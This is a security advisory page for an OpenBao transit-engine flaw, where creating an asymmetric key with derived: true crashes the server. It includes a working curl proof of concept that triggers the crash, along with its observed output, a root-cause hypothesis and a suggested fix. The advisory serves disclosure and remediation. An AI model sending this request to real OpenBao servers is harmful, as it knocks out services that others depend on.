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GHSA-8w8f-r2xv-4q4j

MediumCVSS 6.5 / 10
Published Jun 19, 2026·Last modified Jun 19, 2026
Affected Components(0)

No affected components available

Description

On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to transit/keys/* can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric type (rsa-*, ecdsa-*, ed25519) with derived: true. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server.

Mount the transit engine:

 `curl -sS -X POST -H "X-Vault-Token: root" \
   -d '{"type":"transit"}' \
   http://127.0.0.1:8200/v1/sys/mounts/transit`

Trigger the crash:

 `curl -sS -w '\nHTTP %{http_code}\n' -X POST \
   -H "X-Vault-Token: root" \
   -H "Content-Type: application/json" \
   -d '{"type":"rsa-2048","derived":true,"exportable":true,"deletion_allowed":false}' \
   http://127.0.0.1:8200/v1/transit/keys/some-key-name`

You can try with both JSON or HCL It will crash the entire cluster.

Observed: HTTP 000 curl: (52) Empty reply from server

 $ docker ps -a --filter name=openbao
 STATUS: Exited (2)

Root Cause (Hypothesis) Key-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When derived: true is supplied alongside an asymmetric type, the creation path likely panics on a missing derived-key field or invalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transit policy.go / key-creation path.

Suggested fix: Validate the (type, derived) combination at the top of the create-key handler. Reject with a 400 if derived: true is set on any non-symmetric type (i.e. anything other than aes128-gcm96, aes256-gcm96, chacha20-poly1305, xchacha20-poly1305). Do this before any code path that may panic on missing derived-key state.

Risk Scores
Base Score
6.5

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.

Threat Intelligence
6.0

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Related Vulnerabilities
  • CVE-2026-55776
    Alias

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Medium severity
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